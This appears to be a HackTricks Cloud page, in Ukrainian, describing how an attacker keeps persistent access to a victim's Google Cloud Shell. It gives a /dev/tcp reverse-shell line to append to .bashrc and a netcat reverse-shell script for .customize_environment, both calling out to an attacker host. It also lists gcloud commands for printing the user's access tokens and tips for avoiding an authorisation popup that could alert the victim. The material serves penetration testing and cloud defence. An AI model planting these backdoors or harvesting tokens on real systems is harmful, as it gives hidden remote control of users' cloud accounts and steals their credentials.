GCP - Cloud Shell Persistence

Підтримайте HackTricks

Cloud Shell

Для отримання додаткової інформації перегляньте:

GCP - Cloud Shell Enum

Постійна задні двері

Google Cloud Shell надає вам доступ до командного рядка для ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких пов'язаних витрат.

Ви можете отримати доступ до Cloud Shell від веб-консолі або запустивши gcloud cloud-shell ssh.

У цій консолі є деякі цікаві можливості для атакування:

  1. Будь-який користувач Google з доступом до Google Cloud має доступ до повністю аутентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть бути власниками організації).

  2. Зазначений екземпляр буде зберігати свій домашній каталог принаймні 120 днів, якщо не відбувається жодної діяльності.

  3. Немає можливостей для організації моніторингу діяльності цього екземпляра.

Це в основному означає, що атакуючий може розмістити задню двері в домашньому каталозі користувача, і поки користувач підключається до GC Shell принаймні раз на 120 днів, задня двері залишиться і атакуючий отримає оболонку кожного разу, коли вона запускається, просто виконавши:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Є ще один файл у домашній папці під назвою .customize_environment, якщо він існує, він буде виконуватися кожного разу, коли користувач отримує доступ до хмарного шелу (як у попередній техніці). Просто вставте попередній backdoor або один з таких, щоб зберігати стійкість так довго, якщо користувач використовує "часто" хмарний шел:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Важливо зауважити, що перший раз, коли виконується дія, яка вимагає автентифікації, у браузері користувача з'являється спливаюче вікно авторизації. Це вікно повинно бути прийняте перед тим, як команда може бути виконана. Якщо з'явиться неочікуване спливаюче вікно, це може викликати підозру та потенційно підірвати використану методику постійності.

Це спливаюче вікно під час виконання gcloud projects list з оболонки хмари (як зловмисник) переглядається в сеансі користувача браузера:

Однак, якщо користувач активно використовував cloudshell, спливаюче вікно не з'явиться, і ви можете збирати токени користувача за допомогою:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Як встановлюється з'єднання SSH

Основні чинні API-виклики:

Але ви можете знайти додаткову інформацію за посиланням https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Посилання

Last updated